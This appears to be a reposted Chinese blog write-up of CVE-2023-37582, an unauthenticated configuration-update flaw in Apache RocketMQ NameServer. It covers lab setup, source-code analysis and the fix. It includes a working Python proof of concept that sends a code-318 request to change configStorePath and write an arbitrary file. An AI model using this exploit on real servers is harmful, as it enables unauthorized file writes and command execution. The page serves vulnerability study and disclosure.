当前位置: 首页 > news >正文

Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

image

漏洞简介

Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。

影响版本

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

环境搭建

参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建

还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动

一共需要运行两个服务

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

image

image

漏洞复现

运行 python 脚本

import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',9876))# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

image

image成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test

‍帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表调用不同的功能,此时调用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

image

根据对应的 code 会调用 对应的函数进行处理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

image

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

image​​src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

image​​首先判断是不是属于可控的属性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

imagesrc/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

image

调用 getStorePath​ 获取文件路径,此时获取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

image​​src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

image​​src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

image

漏洞修复

修改禁用修改配置路径的参数

image

http://www.lryc.cn/news/103384.html

相关文章:

  • Kotlin Multiplatform 使用 CocoaPods 创建多平台分发库
  • 前端食堂技术周刊第 92 期:VueConf 2023、TypeChat、向量数据库、Nuxt 服务器组件指南
  • 用C语言构建一个手写数字识别神经网络
  • vue关闭ESlint
  • 测试开发人员如何进行局部探索性测试?一张图告诉你
  • CentOS 8 上安装 Nginx
  • 【c语言进阶】字符函数和字符串函数知识总结
  • DB2实现正则表达式
  • CASS数据带属性转GIS的shp数据教程
  • Jenkins配置自动化构建的几个问题
  • ubuntu 命令调节显示器亮度
  • 打卡力扣题目七
  • 【EI/SCOPUS会议征稿】第三届检测技术与自动化工程国际学术会议 (TTAE 2023)
  • 时序预测 | Python实现NARX-DNN空气质量预测
  • 华为数字化转型之道-读书笔记1
  • 环形链表 II(JS)
  • 【字节三面】41. 缺失的第一个正数
  • Linux echo命令与反引号、重定向符号以及管道符
  • HTML基础知识点总结
  • VS附加到进程调试
  • 基于深度学习的高精度狗狗检测识别系统(PyTorch+Pyside6+YOLOv5模型)
  • 从互联网到云时代,Apache RocketMQ 是如何演进的?
  • XML (可扩展标记语言)
  • socket()、bind()、listen()、htons()
  • 提升开发效率,Lombok的链式编程和构建模式
  • DuDuTalk:AI语音工牌如何帮助教培公司高效管理课程顾问团队
  • C语言——静态库和动态库的创建和使用
  • 数学学习——最优化问题引入、凸集、凸函数、凸优化、梯度、Jacobi矩阵、Hessian矩阵
  • HCIP期中实验
  • 【Git系列】IDEA集成Git